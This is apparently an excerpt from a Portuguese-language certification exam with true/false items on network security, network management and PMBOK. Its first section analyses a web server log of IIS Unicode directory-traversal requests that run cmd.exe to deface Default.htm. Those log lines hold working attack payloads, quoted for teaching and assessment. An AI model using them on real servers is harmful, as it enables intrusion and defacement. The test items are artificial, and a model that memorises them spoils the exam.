II	host.somewhere.org - - [DD/MMM/YYYY:00:24:28 -0200] "GET/IISADMPWD/.. %c0%af.. %c0%af.. %c0%af.. %c0%af..%c0%af...%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+echo+0wnd+by+m3+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 500 87
III	host.somewhere.org - - [DD/MMM/YYYY:00:25:55 -0200] "GET/IISADMPWD/.. %c0%af.. %c0%af.. %c0%af.. %c0%af..%c0%af...%c0%af..%c0%af..%c0%af/winnt/system32/s3.exe?/c+echo+0wnd+by+m3+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 404 461
IV	host.somewhere.org - - [DD/MMM/YYYY:00:27:34 -0200] "GET/IISADMPWD/.. %c0%af.. %c0%af.. %c0%af..%c0%af...%c0%af..%c0%af..%c0%af/winnt/s3.exe?/c+echo+0wnd+by+m3+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 502 215
V	host.somewhere.org - - [DD/MMM/YYYY:00:30:09 -0200] "GET/IISADMPWD/.. %c0%af.. %c0%af.. %c0%af..%c0%af...%c0%af..%c0%af..%c0%af/winnt/s3.exe?/c+echo+0wnd+by+m3+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 502 215
VI	host.somewhere.org - - [DD/MMM/YYYY:00:30:30 -0200] "GET/IISADMPWD/.. %c0%af.. %c0%af.. %c0%af..%c0%af...%c0%af..%c0%af..%c0%af/winnt/s3.exe?/c+echo+0wnd+by+m3+>c:\inetpub\wwwroot\myweb.dll HTTP/1.0" 502 215
VII	host.somewhere.org - - [DD/MMM/YYYY:00:30:51 -0200] "GET/IISADMPWD/.. %c0%af.. %c0%af.. %c0%af.. %c0%af..%c0%af...%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 200 880
VIII	host.somewhere.org - - [DD/MMM/YYYY:00:34:38 -0200] "GET/IISADMPWD/.. %c0%af.. %c0%af.. %c0%af..%c0%af...%c0%af..%c0%af..%c0%af/winnt/s3.exe?/c+echo+0wnd+by+m3+>c:\inetpub\wwwroot\myweb.dll HTTP/1.0" 200 215

Com relação ao *log* apresentado acima, na forma dos eventos de I a VIII, julgue os itens que se seguem.

- 106** Trata-se de uma tentativa de desfiguração (*defacement*) de uma página *web*.
- 107** Existe em IPs no servidor em questão, conforme demonstrado pelos eventos VII e VIII.
- 108** A evolução temporal é consistente com um ataque realizado por ferramenta automática, sem intervenção humana.
- 109** Nas tentativas exploratórias, referentes aos eventos de I a VI, o atacante procura pelo diretório onde estaria o arquivo com a página inicial.

Com relação a dispositivos de segurança de redes, julgue os próximos itens.

- 110** Nos *firewalls* que utilizam inspeção de estado, esta é realizada no estado das conexões TCP.
- 111** Os *firewalls* que usam filtragem de pacote tomam decisões de encaminhamento a partir de informações presentes nos cabeçalhos dos pacotes.
- 112** Os IDS e IPS embasados em detecção por assinatura podem apresentar ocorrência de falsos-positivos, sendo mais severos os efeitos nos IPS que nos IDS.
- 113** Os vírus geralmente se disseminam sem a ação do usuário e distribuem cópias completas de si mesmos, possivelmente modificadas, através das redes.
- 114** Um *worm* é um método oculto para contornar os mecanismos de autenticação em sistemas computacionais.

Com relação a administração e gerência de redes, julgue os itens a seguir.

- 115** A arquitetura de gerência de redes SNMP, voltada para redes TCP/IP, consiste em três componentes: a MIB, que é uma base de informações de gerenciamento; a SMI, um conjunto de estruturas comuns e esquema de identificação usado para referenciar as variáveis na MIB; e o SNMP, um protocolo de comunicação.
- 116** A gerência de desempenho é uma das áreas funcionais da gerência de redes e diz respeito a atividades de inventário, localização, manutenção, instalação de componentes da rede. Seu principal processo consiste em colher, regularmente, informações acerca dos ativos da rede, a fim de povoar a base de informações e manter o padrão, bem como realizar mapeamento desses ativos.
- 117** A gerência de configuração tem por finalidade garantir a melhor utilização dos recursos da rede, visando atender eficientemente a demandas.
- 118** A gerência de segurança tem por objetivo assegurar a legítima utilização dos recursos da rede, garantindo privacidade, confidencialidade e integridade à informação, enquanto exerce função de auditoria.

Com relação a gerência e administração de projetos, julgue os itens subsequentes.

- 119** O PMBOK reconhece grupos de processos básicos e áreas de conhecimento típicos de projetos, sendo seus conceitos básicos aplicáveis a projetos, programas e operações.
- 120** Os cinco grupos de processos básicos do PMBOK são: iniciando, planejando, executando, controlando e monitorando, e encerrando. Os processos se superpõem e interagem ao longo de um projeto ou fase, sendo descritos em termos de entradas, ferramentas e técnicas, e saídas.